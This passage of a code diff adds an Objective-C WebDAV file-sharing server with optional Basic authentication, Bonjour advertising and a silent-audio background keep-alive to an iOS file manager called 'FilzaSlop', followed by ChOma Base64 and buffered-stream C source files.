mark - Request body + +static NSData *WQReadRequestBody(WQSocketReader *reader, WQHTTPRequest *request) +{ + NSString *transferEncoding = request.headers[@"transfer-encoding"]; + if ([transferEncoding.lowercaseString containsString:@"chunked"]) { + NSMutableData *body = [NSMutableData data]; + while (YES) { + NSData *lineData = [reader readUntil:WQCRLF()]; + if (!lineData) return nil; + NSString *line = [[NSString alloc] initWithData:lineData + encoding:NSISOLatin1StringEncoding]; + NSString *sizePart = [[line componentsSeparatedByString:@";"] firstObject]; + unsigned long long size = 0; + NSScanner *scanner = [NSScanner scannerWithString:sizePart ?: @""]; + if (![scanner scanHexLongLong:&size]) return nil; + if (size == 0) { + // Consume trailers until an empty line. + while (YES) { + NSData *trailer = [reader readUntil:WQCRLF()]; + if (!trailer) return nil; + if (trailer.length == 0) break; + } + break; + } + if (body.length + size > kWQMaxBodyLength) return nil; + NSData *chunk = [reader readExact:(NSUInteger)size]; + if (!chunk) return nil; + [body appendData:chunk]; + NSData *crlf = [reader readExact:2]; + if (!crlf) return nil; + } + return body; + } + + NSString *lengthValue = request.headers[@"content-length"]; + if (!lengthValue.length) return [NSData data]; + long long length = lengthValue.longLongValue; + if (length <= 0) return [NSData data]; + if ((unsigned long long)length > kWQMaxBodyLength) return nil; + return [reader readExact:(NSUInteger)length]; +} + +#pragma mark - WebDAV methods + +static NSString *WQPropResponse(NSString *path, BOOL isDirectory) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSDictionary *attributes = [fm attributesOfItemAtPath:path error:nil]; + NSDate *modified = attributes[NSFileModificationDate] ?: [NSDate date]; + unsigned long long size = [attributes[NSFileSize] unsignedLongLongValue]; + NSString *relative = WQRelativePath(path); + NSString *href = WQEncodeHref(relative, isDirectory); + NSString *displayName = relative.length == 0 + ? (gRootPath.lastPathComponent ?: @"FilzaSlop") : path.lastPathComponent; + + NSMutableString *xml = [NSMutableString string]; + [xml appendString:@""]; + [xml appendFormat:@"%@", WQXMLEscape(href)]; + [xml appendString:@""]; + [xml appendFormat:@"%@", + WQXMLEscape(displayName)]; + [xml appendString:@"" + @"" + @""]; + [xml appendFormat:@"%@", + WQHTTPDate(modified)]; + if (isDirectory) { + [xml appendString:@""]; + [xml appendString:@"httpd/unix-directory"]; + } else { + [xml appendString:@""]; + [xml appendFormat:@"%llu", size]; + [xml appendFormat:@"%@", + WQXMLEscape(WQMimeType(path))]; + } + [xml appendString:@"HTTP/1.1 200 OK" + @""]; + return xml; +} + +static void WQHandlePropfind(int descriptor, WQHTTPRequest *request, + NSString *path) +{ + BOOL exists = NO; + BOOL directory = WQFileIsDirectory(path); + exists = [NSFileManager.defaultManager fileExistsAtPath:path]; + if (!exists) { + WQRespond(descriptor, 404, WQBasicHeaders(@"text/plain"), + [@"Not Found" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + + NSString *depth = request.headers[@"depth"] ?: @"1"; + NSMutableArray *paths = [NSMutableArray arrayWithObject:path]; + if (directory && ![depth isEqualToString:@"0"]) { + NSError *error = nil; + NSArray *names = [NSFileManager.defaultManager + contentsOfDirectoryAtPath:path error:&error]; + if (names) { + for (NSString *name in names) + [paths addObject:[path stringByAppendingPathComponent:name]]; + } else { + NSLog(@"[WQWebDAV] PROPFIND listing failed %@: %@", + path, error.localizedDescription); + } + } + + NSMutableString *xml = [NSMutableString stringWithString: + @"" + @""]; + for (NSString *item in paths) { + BOOL isDirectory = WQFileIsDirectory(item); + NSDictionary *attributes = [NSFileManager.defaultManager + attributesOfItemAtPath:item error:nil]; + if (!attributes) continue; + [xml appendString:WQPropResponse(item, isDirectory)]; + } + [xml appendString:@""]; + NSData *body = [xml dataUsingEncoding:NSUTF8StringEncoding]; + NSMutableDictionary *headers = [WQBasicHeaders( + @"application/xml; charset=utf-8") mutableCopy]; + headers[@"DAV"] = @"1, 2"; + WQRespond(descriptor, 207, headers, body, -1); +} + +static void WQHandleGet(int descriptor, WQHTTPRequest *request, + NSString *path, BOOL headOnly) +{ + NSFileManager *fm = NSFileManager.defaultManager; + BOOL directory = WQFileIsDirectory(path); + if (![fm fileExistsAtPath:path]) { + WQRespond(descriptor, 404, WQBasicHeaders(@"text/plain"), + [@"Not Found" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + + if (directory) { + NSError *error = nil; + NSArray *names = [fm contentsOfDirectoryAtPath:path error:&error]; + NSMutableString *html = [NSMutableString stringWithFormat: + @"" + @"%@

%@

    ", + WQXMLEscape(WQRelativePath(path) ?: @"/"), + WQXMLEscape(WQRelativePath(path) ?: @"/")]; + if (!names) { + [html appendFormat:@"

    %@

    ", WQXMLEscape(error.localizedDescription ?: @"Unreadable")]; + } + for (NSString *name in [names sortedArrayUsingSelector:@selector(localizedStandardCompare:)]) { + NSString *child = [path stringByAppendingPathComponent:name]; + BOOL childDirectory = WQFileIsDirectory(child); + NSString *display = childDirectory ? [name stringByAppendingString:@"/"] : name; + NSString *relative = WQRelativePath(child); + NSString *href = WQEncodeHref(relative, childDirectory); + [html appendFormat:@"
  • %@
  • ", + WQXMLEscape(href), WQXMLEscape(display)]; + } + [html appendString:@"
"]; + NSData *body = [html dataUsingEncoding:NSUTF8StringEncoding]; + WQRespond(descriptor, 200, WQBasicHeaders(@"text/html; charset=utf-8"), + headOnly ? nil : body, (NSInteger)body.length); + return; + } + + NSDictionary *attributes = [fm attributesOfItemAtPath:path error:nil]; + unsigned long long total = [attributes[NSFileSize] unsignedLongLongValue]; + NSMutableDictionary *headers = [WQBasicHeaders(WQMimeType(path)) mutableCopy]; + headers[@"Accept-Ranges"] = @"bytes"; + + NSUInteger start = 0; + NSUInteger end = total > 0 ? (NSUInteger)(total - 1) : 0; + BOOL partial = NO; + NSString *range = request.headers[@"range"]; + if (range.length && [range hasPrefix:@"bytes="]) { + NSString *spec = [range substringFromIndex:6]; + NSArray *parts = [spec componentsSeparatedByString:@"-"]; + if (parts.count == 2 && ![spec containsString:@","]) { + NSString *startText = parts[0]; + NSString *endText = parts[1]; + if (startText.length == 0 && endText.length > 0) { + unsigned long long suffix = endText.longLongValue; + if (suffix > 0 && suffix <= total) { + start = (NSUInteger)(total - suffix); + end = (NSUInteger)(total - 1); + partial = YES; + } + } else if (startText.length > 0) { + unsigned long long first = startText.longLongValue; + unsigned long long last = endText.length > 0 + ? endText.longLongValue : total - 1; + if (first < total) { + start = (NSUInteger)first; + end = (NSUInteger)MIN(last, total - 1); + partial = YES; + } + } + } + if (partial && (start > end || start >= total)) { + headers[@"Content-Range"] = [NSString stringWithFormat: + @"bytes */%llu", total]; + WQRespond(descriptor, 416, headers, nil, 0); + return; + } + } + + NSInteger length = partial ? (NSInteger)(end - start + 1) : (NSInteger)total; + if (partial) { + headers[@"Content-Range"] = [NSString stringWithFormat: + @"bytes %lu-%lu/%llu", (unsigned long)start, + (unsigned long)end, total]; + } else { + start = 0; + length = (NSInteger)total; + } + + if (headOnly) { + WQRespond(descriptor, partial ? 206 : 200, headers, nil, length); + return; + } + + NSData *data = [NSData dataWithContentsOfFile:path + options:NSDataReadingMappedIfSafe error:nil]; + if (!data) { + WQRespond(descriptor, 500, WQBasicHeaders(@"text/plain"), + [@"Unable to read file" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + NSData *body = data; + if (partial) { + if (start + (NSUInteger)length > data.length) { + WQRespond(descriptor, 416, headers, nil, 0); + return; + } + body = [data subdataWithRange:NSMakeRange(start, (NSUInteger)length)]; + } + WQRespond(descriptor, partial ? 206 : 200, headers, body, -1); +} + +static void WQHandlePut(int descriptor, WQHTTPRequest *request, + NSString *path) +{ + if (WQFileIsDirectory(path)) { + WQRespond(descriptor, 405, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + NSString *parent = path.stringByDeletingLastPathComponent; + if (!WQFileIsDirectory(parent)) { + WQRespond(descriptor, 409, WQBasicHeaders(@"text/plain"), + [@"Parent does not exist" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + BOOL existed = [NSFileManager.defaultManager fileExistsAtPath:path]; + NSError *error = nil; + BOOL written = [request.body writeToFile:path options:NSDataWritingAtomic error:&error]; + if (!written) { + NSLog(@"[WQWebDAV] PUT failed %@: %@", path, error.localizedDescription); + WQRespond(descriptor, 507, WQBasicHeaders(@"text/plain"), + [@"Write failed" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + NSDictionary *attributes = [NSFileManager.defaultManager + attributesOfItemAtPath:path error:nil]; + NSMutableDictionary *headers = [NSMutableDictionary dictionary]; + headers[@"ETag"] = [NSString stringWithFormat:@"\"%llx-%llx\"", + [attributes[NSFileSize] unsignedLongLongValue], + (unsigned long long)[attributes[NSFileModificationDate] timeIntervalSince1970]]; + WQRespond(descriptor, existed ? 204 : 201, headers, nil, 0); +} + +static void WQHandleDelete(int descriptor, NSString *path) +{ + NSFileManager *fm = NSFileManager.defaultManager; + if (![fm fileExistsAtPath:path]) { + WQRespond(descriptor, 404, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + NSError *error = nil; + if (![fm removeItemAtPath:path error:&error]) { + NSLog(@"[WQWebDAV] DELETE failed %@: %@", path, error.localizedDescription); + WQRespond(descriptor, 403, WQBasicHeaders(@"text/plain"), + [@"Delete failed" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + WQRespond(descriptor, 204, @{}, nil, 0); +} + +static void WQHandleMkcol(int descriptor, NSString *path) +{ + if ([NSFileManager.defaultManager fileExistsAtPath:path]) { + WQRespond(descriptor, 405, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + NSError *error = nil; + if (![NSFileManager.defaultManager createDirectoryAtPath:path + withIntermediateDirectories:NO attributes:nil error:&error]) { + WQRespond(descriptor, 409, WQBasicHeaders(@"text/plain"), + [error.localizedDescription dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + WQRespond(descriptor, 201, @{}, nil, 0); +} + +static void WQHandleMoveCopy(int descriptor, WQHTTPRequest *request, + NSString *source, BOOL move) +{ + NSString *destinationHeader = request.headers[@"destination"]; + if (!destinationHeader.length) { + WQRespond(descriptor, 400, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + NSString *destinationRequestPath = destinationHeader; + NSURL *url = [NSURL URLWithString:destinationHeader]; + if (url.path.length) destinationRequestPath = url.path; + NSString *destination = WQResolvePath(destinationRequestPath); + if (!destination.length || [destination isEqualToString:source]) { + WQRespond(descriptor, 403, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + if (![NSFileManager.defaultManager fileExistsAtPath:source]) { + WQRespond(descriptor, 404, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + if (!WQFileIsDirectory(destination.stringByDeletingLastPathComponent)) { + WQRespond(descriptor, 409, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + + BOOL destinationExists = [NSFileManager.defaultManager + fileExistsAtPath:destination]; + NSString *overwrite = request.headers[@"overwrite"] ?: @"T"; + if (destinationExists) { + if ([overwrite.uppercaseString isEqualToString:@"F"]) { + WQRespond(descriptor, 412, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + [NSFileManager.defaultManager removeItemAtPath:destination error:nil]; + } + + NSError *error = nil; + BOOL ok = move + ? [NSFileManager.defaultManager moveItemAtPath:source toPath:destination error:&error] + : [NSFileManager.defaultManager copyItemAtPath:source toPath:destination error:&error]; + if (!ok) { + NSLog(@"[WQWebDAV] %@ failed %@ -> %@: %@", move ? @"MOVE" : @"COPY", + source, destination, error.localizedDescription); + WQRespond(descriptor, 409, WQBasicHeaders(@"text/plain"), + [error.localizedDescription dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + WQRespond(descriptor, destinationExists ? 204 : 201, @{}, nil, 0); +} + +static void WQHandleLock(int descriptor, WQHTTPRequest *request, NSString *path) +{ + NSString *token = [NSString stringWithFormat:@"opaquelocktoken:%@", + NSUUID.UUID.UUIDString]; + NSString *relative = WQRelativePath(path); + NSString *href = WQEncodeHref(relative, WQFileIsDirectory(path)); + NSString *xml = [NSString stringWithFormat: + @"" + @"" + @"" + @"infinity" + @"%@" + @"%@" + @"Second-3600" + @"", WQXMLEscape(href), + WQXMLEscape(token)]; + NSMutableDictionary *headers = [WQBasicHeaders( + @"application/xml; charset=utf-8") mutableCopy]; + headers[@"Lock-Token"] = [NSString stringWithFormat:@"<%@>", token]; + WQRespond(descriptor, 200, headers, + [xml dataUsingEncoding:NSUTF8StringEncoding], -1); +} + +static void WQHandleProppatch(int descriptor, WQHTTPRequest *request, + NSString *path) +{ + NSString *relative = WQRelativePath(path); + NSString *href = WQEncodeHref(relative, WQFileIsDirectory(path)); + NSString *xml = [NSString stringWithFormat: + @"" + @"" + @"%@" + @"HTTP/1.1 200 OK" + @"", WQXMLEscape(href)]; + WQRespond(descriptor, 207, WQBasicHeaders(@"application/xml; charset=utf-8"), + [xml dataUsingEncoding:NSUTF8StringEncoding], -1); +} + +static void WQHandleOptions(int descriptor) +{ + NSMutableDictionary *headers = [NSMutableDictionary dictionary]; + headers[@"DAV"] = @"1, 2"; + headers[@"MS-Author-Via"] = @"DAV"; + headers[@"Allow"] = @"OPTIONS, GET, HEAD, PUT, DELETE, PROPFIND, PROPPATCH, " + @"MKCOL, COPY, MOVE, LOCK, UNLOCK"; + headers[@"Content-Type"] = @"text/plain"; + WQRespond(descriptor, 200, headers, nil, 0); +} + +#pragma mark - Request loop + +static BOOL WQCheckAuthentication(WQHTTPRequest *request) +{ + if (!gUsername.length) return YES; + NSString *authorization = request.headers[@"authorization"]; + if (![authorization hasPrefix:@"Basic "]) return NO; + NSString *encoded = [authorization substringFromIndex:6]; + NSData *data = [[NSData alloc] initWithBase64EncodedString:encoded options:0]; + if (!data) return NO; + NSString *pair = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; + NSArray *parts = [pair componentsSeparatedByString:@":"]; + if (parts.count < 2) return NO; + NSString *user = [parts firstObject]; + NSString *password = [[parts subarrayWithRange:NSMakeRange(1, parts.count - 1)] + componentsJoinedByString:@":"]; + return [user isEqualToString:gUsername] && + [password isEqualToString:gPassword ?: @""]; +} + +static void WQHandleClient(int descriptor) +{ + @autoreleasepool { + struct timeval timeout = { 30, 0 }; + setsockopt(descriptor, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); + setsockopt(descriptor, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)); + int noSigPipe = 1; + setsockopt(descriptor, SOL_SOCKET, SO_NOSIGPIPE, &noSigPipe, sizeof(noSigPipe)); + + WQSocketReader *reader = [[WQSocketReader alloc] initWithDescriptor:descriptor]; + NSData *headData = [reader readUntil:WQHeaderDelimiter()]; + if (!headData.length) { close(descriptor); return; } + + NSString *head = [[NSString alloc] initWithData:headData + encoding:NSUTF8StringEncoding]; + if (!head) head = [[NSString alloc] initWithData:headData + encoding:NSISOLatin1StringEncoding]; + if (!head) { close(descriptor); return; } + + NSArray *lines = [head componentsSeparatedByString:@"\r\n"]; + if (lines.count == 0) { close(descriptor); return; } + NSArray *requestLine = [lines[0] componentsSeparatedByString:@" "]; + if (requestLine.count < 2) { close(descriptor); return; } + + WQHTTPRequest *request = [WQHTTPRequest new]; + request.method = requestLine[0].uppercaseString; + request.rawPath = requestLine[1]; + request.version = requestLine.count > 2 ? requestLine[2] : @"HTTP/1.1"; + + NSMutableDictionary *headers = [NSMutableDictionary dictionary]; + for (NSUInteger index = 1; index < lines.count; index++) { + NSString *line = lines[index]; + NSRange colon = [line rangeOfString:@":"]; + if (colon.location == NSNotFound) continue; + NSString *key = [[line substringToIndex:colon.location] + stringByTrimmingCharactersInSet:NSCharacterSet.whitespaceCharacterSet] + .lowercaseString; + NSString *value = [[line substringFromIndex:colon.location + 1] + stringByTrimmingCharactersInSet:NSCharacterSet.whitespaceCharacterSet]; + if (key.length) headers[key] = value; + } + request.headers = headers; + + NSString *pathPart = request.rawPath; + NSRange query = [pathPart rangeOfString:@"?"]; + if (query.location != NSNotFound) pathPart = [pathPart substringToIndex:query.location]; + NSRange fragment = [pathPart rangeOfString:@"#"]; + if (fragment.location != NSNotFound) pathPart = [pathPart substringToIndex:fragment.location]; + + // Read the body only for methods that carry one; a stray huge body on + // GET would otherwise stall the connection. + if (![request.method isEqualToString:@"GET"] && + ![request.method isEqualToString:@"HEAD"] && + ![request.method isEqualToString:@"OPTIONS"] && + ![request.method isEqualToString:@"DELETE"] && + ![request.method isEqualToString:@"PROPFIND"]) { + request.body = WQReadRequestBody(reader, request) ?: [NSData data]; + } else { + request.body = [NSData data]; + } + + if (!WQCheckAuthentication(request)) { + NSMutableDictionary *authHeaders = [WQBasicHeaders(@"text/plain") mutableCopy]; + authHeaders[@"WWW-Authenticate"] = + @"Basic realm=\"FilzaSlop WebDAV\""; + WQRespond(descriptor, 401, authHeaders, + [@"Authentication required" dataUsingEncoding:NSUTF8StringEncoding], -1); + close(descriptor); + return; + } + + if ([request.method isEqualToString:@"OPTIONS"]) { + WQHandleOptions(descriptor); + close(descriptor); + return; + } + + NSString *path = WQResolvePath(pathPart); + if (!path.length) { + WQRespond(descriptor, 400, WQBasicHeaders(@"text/plain"), nil, 0); + close(descriptor); + return; + } + + NSInteger logStatus = 0; + if ([request.method isEqualToString:@"PROPFIND"]) { + WQHandlePropfind(descriptor, request, path); + } else if ([request.method isEqualToString:@"GET"]) { + WQHandleGet(descriptor, request, path, NO); + } else if ([request.method isEqualToString:@"HEAD"]) { + WQHandleGet(descriptor, request, path, YES); + } else if ([request.method isEqualToString:@"PUT"]) { + WQHandlePut(descriptor, request, path); + } else if ([request.method isEqualToString:@"DELETE"]) { + WQHandleDelete(descriptor, path); + } else if ([request.method isEqualToString:@"MKCOL"]) { + WQHandleMkcol(descriptor, path); + } else if ([request.method isEqualToString:@"MOVE"]) { + WQHandleMoveCopy(descriptor, request, path, YES); + } else if ([request.method isEqualToString:@"COPY"]) { + WQHandleMoveCopy(descriptor, request, path, NO); + } else if ([request.method isEqualToString:@"LOCK"]) { + WQHandleLock(descriptor, request, path); + } else if ([request.method isEqualToString:@"UNLOCK"]) { + WQRespond(descriptor, 204, @{}, nil, 0); + } else if ([request.method isEqualToString:@"PROPPATCH"]) { + WQHandleProppatch(descriptor, request, path); + } else { + WQRespond(descriptor, 405, WQBasicHeaders(@"text/plain"), nil, 0); + } + (void)logStatus; + close(descriptor); + } +} + +static void *WQAcceptLoop(void *context) +{ + int listener = (int)(intptr_t)context; + while (gRunning) { + int client = accept(listener, NULL, NULL); + if (client < 0) { + if (!gRunning) break; + if (errno == EINTR) continue; + if (errno == EBADF || errno == EINVAL) break; + usleep(10000); + continue; + } + dispatch_async(gConnectionQueue, ^{ + WQHandleClient(client); + }); + } + return NULL; +} + +static int WQCreateListener(int family, NSInteger port) +{ + int descriptor = socket(family, SOCK_STREAM, 0); + if (descriptor < 0) return -1; + int reuse = 1; + setsockopt(descriptor, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)); + int noSigPipe = 1; + setsockopt(descriptor, SOL_SOCKET, SO_NOSIGPIPE, &noSigPipe, sizeof(noSigPipe)); + + int result = -1; + if (family == AF_INET) { + struct sockaddr_in address = {0}; + address.sin_family = AF_INET; + address.sin_port = htons((uint16_t)port); + address.sin_addr.s_addr = htonl(INADDR_ANY); + result = bind(descriptor, (struct sockaddr *)&address, sizeof(address)); + } else if (family == AF_INET6) { + int off = 0; + setsockopt(descriptor, IPPROTO_IPV6, IPV6_V6ONLY, &off, sizeof(off)); + struct sockaddr_in6 address = {0}; + address.sin6_family = AF_INET6; + address.sin6_port = htons((uint16_t)port); + address.sin6_addr = in6addr_any; + result = bind(descriptor, (struct sockaddr *)&address, sizeof(address)); + } + if (result != 0 || listen(descriptor, 32) != 0) { + close(descriptor); + return -1; + } + return descriptor; +} + +#pragma mark - Keep-alive / Bonjour + +static void WQStartKeepAlive(void) +{ + if (!gBackgroundTaskActive) { + gBackgroundTask = [UIApplication.sharedApplication + beginBackgroundTaskWithName:@"WQWebDAV" + expirationHandler:^{ + if (gBackgroundTaskActive) { + [UIApplication.sharedApplication endBackgroundTask:gBackgroundTask]; + gBackgroundTaskActive = NO; + } + }]; + gBackgroundTaskActive = gBackgroundTask != UIBackgroundTaskInvalid; + } + + id keepAliveValue = [NSUserDefaults.standardUserDefaults objectForKey:@"WQWebDAVKeepAlive"]; + if (keepAliveValue && ![keepAliveValue boolValue]) return; + if (gSilentPlayer) return; + + AVAudioSession *session = AVAudioSession.sharedInstance; + NSError *error = nil; + [session setCategory:AVAudioSessionCategoryPlayback + withOptions:AVAudioSessionCategoryOptionMixWithOthers error:&error]; + if (error) { + NSLog(@"[WQWebDAV] audio session category failed: %@", + error.localizedDescription); + return; + } + [session setActive:YES error:&error]; + if (error) { + NSLog(@"[WQWebDAV] audio session activation failed: %@", + error.localizedDescription); + return; + } + + // One second of 8 kHz/16-bit silence, looped. The audio background mode is + // already declared by Filza, so the process is not suspended while the + // WebDAV server is enabled. + const uint32_t sampleRate = 8000; + const uint32_t dataSize = sampleRate * 2; + NSMutableData *wav = [NSMutableData data]; + [wav appendBytes:"RIFF" length:4]; + uint32_t riffSize = 36 + dataSize; + [wav appendBytes:&riffSize length:4]; + [wav appendBytes:"WAVEfmt " length:8]; + uint32_t fmtSize = 16; + [wav appendBytes:&fmtSize length:4]; + uint16_t format = 1, channels = 1, blockAlign = 2, bits = 16; + uint32_t byteRate = sampleRate * blockAlign; + [wav appendBytes:&format length:2]; + [wav appendBytes:&channels length:2]; + [wav appendBytes:&sampleRate length:4]; + [wav appendBytes:&byteRate length:4]; + [wav appendBytes:&blockAlign length:2]; + [wav appendBytes:&bits length:2]; + [wav appendBytes:"data" length:4]; + [wav appendBytes:&dataSize length:4]; + [wav appendData:[NSMutableData dataWithLength:dataSize]]; + + gSilentPlayer = [[AVAudioPlayer alloc] initWithData:wav error:&error]; + if (!gSilentPlayer) { + NSLog(@"[WQWebDAV] silent player failed: %@", error.localizedDescription); + return; + } + gSilentPlayer.numberOfLoops = -1; + gSilentPlayer.volume = 0.01f; + [gSilentPlayer play]; + NSLog(@"[WQWebDAV] background keep-alive active"); +} + +static void WQStopKeepAlive(void) +{ + [gSilentPlayer stop]; + gSilentPlayer = nil; + [AVAudioSession.sharedInstance setActive:NO + withOptions:AVAudioSessionSetActiveOptionNotifyOthersOnDeactivation error:nil]; + if (gBackgroundTaskActive) { + [UIApplication.sharedApplication endBackgroundTask:gBackgroundTask]; + gBackgroundTaskActive = NO; + } +} + +static void WQStartBonjour(NSInteger port) +{ + gBonjourService = [[NSNetService alloc] initWithDomain:@"local." + type:@"_http._tcp." name:kWQServerName port:(int)port]; + gBonjourService.includesPeerToPeer = YES; + [gBonjourService publish]; +} + +#pragma mark - Lifecycle + +BOOL WQWebDAVStart(NSString **error) +{ + @synchronized (gServerLock ?: (gServerLock = [NSObject new])) { + if (WQWebDAVIsRunning()) return YES; + + NSString *root = [NSUserDefaults.standardUserDefaults stringForKey:@"WQWebDAVRoot"]; + if (!root.length) root = MCMFilzaVirtualRoot(); + root = [root stringByStandardizingPath]; + [NSFileManager.defaultManager createDirectoryAtPath:root + withIntermediateDirectories:YES attributes:nil error:nil]; + if (![NSFileManager.defaultManager fileExistsAtPath:root]) { + if (error) *error = @"WebDAV root does not exist"; + return NO; + } + gRootPath = root; + gUsername = [NSUserDefaults.standardUserDefaults stringForKey:@"WQWebDAVUser"]; + if (!gUsername.length) + gUsername = [NSUserDefaults.standardUserDefaults stringForKey:@"air-user"]; + gPassword = [NSUserDefaults.standardUserDefaults stringForKey:@"WQWebDAVPassword"]; + if (!gPassword.length) + gPassword = [NSUserDefaults.standardUserDefaults stringForKey:@"air-password"]; + + signal(SIGPIPE, SIG_IGN); + gRunning = YES; + gConnectionQueue = dispatch_queue_create( + "com.filzaslop.worsequery.webdav", DISPATCH_QUEUE_CONCURRENT); + + NSInteger port = WQWebDAVPort(); + // Two Filza builds can coexist (public + developer). Walk a small + // range so the second one still gets a working server instead of + // failing on EADDRINUSE. + BOOL bound = NO; + for (NSInteger candidate = port; candidate < port + 10; candidate++) { + gListen4 = WQCreateListener(AF_INET, candidate); + gListen6 = WQCreateListener(AF_INET6, candidate); + if (gListen4 >= 0 || gListen6 >= 0) { + port = candidate; + bound = YES; + break; + } + } + if (!bound) { + gRunning = NO; + if (error) *error = [NSString stringWithFormat: + @"Unable to bind ports %ld-%ld (errno=%d)", + (long)port, (long)(port + 9), errno]; + NSLog(@"[WQWebDAV] bind failed basePort=%ld errno=%d", (long)port, errno); + return NO; + } + gBoundPort = port; + + pthread_t thread; + if (gListen4 >= 0 && + pthread_create(&thread, NULL, WQAcceptLoop, + (void *)(intptr_t)gListen4) == 0) + pthread_detach(thread); + if (gListen6 >= 0 && + pthread_create(&thread, NULL, WQAcceptLoop, + (void *)(intptr_t)gListen6) == 0) + pthread_detach(thread); + + WQStartBonjour(port); + WQStartKeepAlive(); + NSLog(@"[WQWebDAV] started root=%@ url=%@ ipv4=%d ipv6=%d", + root, WQWebDAVURL(), gListen4 >= 0, gListen6 >= 0); + return YES; + } +} + +void WQWebDAVStop(void) +{ + @synchronized (gServerLock ?: (gServerLock = [NSObject new])) { + if (!gRunning && gListen4 < 0 && gListen6 < 0) return; + gRunning = NO; + if (gListen4 >= 0) { shutdown(gListen4, SHUT_RDWR); close(gListen4); gListen4 = -1; } + if (gListen6 >= 0) { shutdown(gListen6, SHUT_RDWR); close(gListen6); gListen6 = -1; } + [gBonjourService stop]; + gBonjourService = nil; + WQStopKeepAlive(); + gRootPath = nil; + NSLog(@"[WQWebDAV] stopped"); + } +} diff --git a/XPF/external/ChOma/include/choma b/XPF/external/ChOma/include/choma new file mode 120000 index 0000000..5cd551c --- /dev/null +++ b/XPF/external/ChOma/include/choma @@ -0,0 +1 @@ +../src \ No newline at end of file diff --git a/XPF/external/ChOma/src/Base64.c b/XPF/external/ChOma/src/Base64.c new file mode 100644 index 0000000..e10c66c --- /dev/null +++ b/XPF/external/ChOma/src/Base64.c @@ -0,0 +1,42 @@ +#include "Base64.h" + +// https://stackoverflow.com/a/6782480 +static char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/'}; +static int mod_table[] = {0, 2, 1}; + + +char *base64_encode(const unsigned char *data, + size_t input_length, + size_t *output_length) { + + *output_length = 4 * ((input_length + 2) / 3); + + char *encoded_data = malloc(*output_length); + if (encoded_data == NULL) return NULL; + + for (int i = 0, j = 0; i < input_length;) { + + uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0; + uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0; + uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0; + + uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c; + + encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F]; + encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F]; + encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F]; + encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F]; + } + + for (int i = 0; i < mod_table[input_length % 3]; i++) + encoded_data[*output_length - 1 - i] = '='; + + return encoded_data; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/Base64.h b/XPF/external/ChOma/src/Base64.h new file mode 100644 index 0000000..a09d3ea --- /dev/null +++ b/XPF/external/ChOma/src/Base64.h @@ -0,0 +1,11 @@ +#ifndef BASE64_H +#define BASE64_H + +#include +#include + +char *base64_encode(const unsigned char *data, + size_t input_length, + size_t *output_length); + +#endif // BASE64_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/BufferedStream.c b/XPF/external/ChOma/src/BufferedStream.c new file mode 100644 index 0000000..86f705a --- /dev/null +++ b/XPF/external/ChOma/src/BufferedStream.c @@ -0,0 +1,194 @@ +#include "BufferedStream.h" +#include "MemoryStream.h" + +#include + +static int buffered_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd); + +static int _buffered_stream_make_own_data(MemoryStream *stream) +{ + BufferedStreamContext *context = stream->context; + if ((stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) == 0) { + void *newBuffer = malloc(context->subBufferSize); + memcpy(newBuffer, context->buffer + context->subBufferStart, context->subBufferSize); + context->buffer = newBuffer; + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + } + return 0; +} + +static int buffered_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf) +{ + BufferedStreamContext *context = stream->context; + if ((offset + size) > context->subBufferSize) { + printf("Error: cannot read %zx bytes at %llx, maximum is %zx.\n", size, offset, context->subBufferSize); + return -1; + } + + memcpy(outBuf, context->buffer + context->subBufferStart + offset, size); + return size; +} + +static int buffered_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf) +{ + BufferedStreamContext *context = stream->context; + + bool expandAllowed = (stream->flags & MEMORY_STREAM_FLAG_AUTO_EXPAND); + bool needsExpand = (offset + size) > context->subBufferSize; + + if (needsExpand && !expandAllowed) { + printf("Error: cannot write %zx bytes at %llx, maximum is %zx.\n", size, offset, context->subBufferSize); + return -1; + } + + if ((stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) == 0) { + int r = _buffered_stream_make_own_data(stream); + if (r != 0) return r; + } + + if (needsExpand) { + buffered_stream_expand(stream, 0, (offset + size) - 